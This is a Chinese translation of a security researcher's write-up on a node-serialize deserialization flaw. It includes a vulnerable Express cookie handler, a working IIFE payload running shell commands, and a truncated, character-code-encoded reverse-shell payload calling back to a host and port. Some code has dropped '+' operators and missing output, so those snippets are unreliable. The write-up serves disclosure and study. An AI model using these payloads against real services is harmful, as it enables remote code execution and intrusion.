原文链接:Exploiting Node.js deserialization bug for Remote Code Execution有增改
原作者:Ajin Abraham
译:Holic (知道创宇404安全实验室)
若不可信的数据传入unserialize()函数,通过传递立即调用函数表达式(IIFE)的 JavaScript 对象可以实现任意代码执行。
漏洞详情
审计 Node.js 代码时,我正好看到一个名为 node-serialize 的序列号/反序列化模块。下面是一段代码示例,来自网络请求的 cookie 会传递到该模块的 unserialize() 函数中。
var express = require('express'); var cookieParser = require('cookie-parser'); var escape = require('escape-html'); var serialize = require('node-serialize'); var app = express(); app.use(cookieParser())app.get('/', function(req, res) { if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
res.send("Hello " escape(obj.username));
}
} else {
res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
maxAge: 900000,
httpOnly: true
});
}
res.send("Hello World");});app.listen(3000);
Java,PHP,Ruby 和 Python 都出现过很多次反序列化的漏洞。下面是这些问题的相关资源:
但是我找不到任何关于 Node.js 中反序列号/对象注入的资源,于是我就想对此进行研究,然后我花了点儿时间成功利用此 bug,实现了任意代码注入。
构建 Payload
我使用了 0.0.4 版本的 node-serialize 进行研究,成功利用的话,不可信输入传递到unserialize()的时候可以执行任意代码。创建 payload 最好使用同一模块的serialize()函数。
我创建了以下 JavaScript 对象,将其传入serialize()函数。
var y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
},}var serialize = require('node-serialize'); console.log("Serialized: \n" serialize.serialize(y));
我们得到以下输出:
现在我们得到序列化的字符串,可以用unserialize()函数进行反序列化操作。那么问题来了,怎么代码执行呢?只有触发对象的 rce 成员函数才行。
后来我想到可以使用 JavaScript 的立即调用的函数表达式(IIFE)来调用该函数。如果我们在函数后使用 IIFE 括号(),在对象被创建时,函数就会马上被调用。有点类似于 C 中的类构造函数。
现在修改过的代码经serialize()函数马上会被调用。
IIFE 运行良好,但序列化失败了。于是我试着在之前序列化的字符串中函数体后面加上括号(),并将其传入unserialize()函数,很幸运,成功执行。那么就有了下面的 exploit:
{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout) });\n }()"}
将其传入unserialize()函数,触发代码执行。
var serialize = require('node-serialize'); var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}'; serialize.unserialize(payload);
进一步利用
现在我们知道了,如果不受信任的数据传入其中,我们利用 node-serialize 模块中的unserialize()函数。我们来利用 Web 程序中的漏洞反弹一个 shell 出来吧。
这里我使用nodejsshell.py生成反向 shell 的 payload。
$ python nodejsshell.py 127.0.0.1 1337[ ] LHOST = 127.0.0.1[ ] LPORT = 1337[ ] Encodingeval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|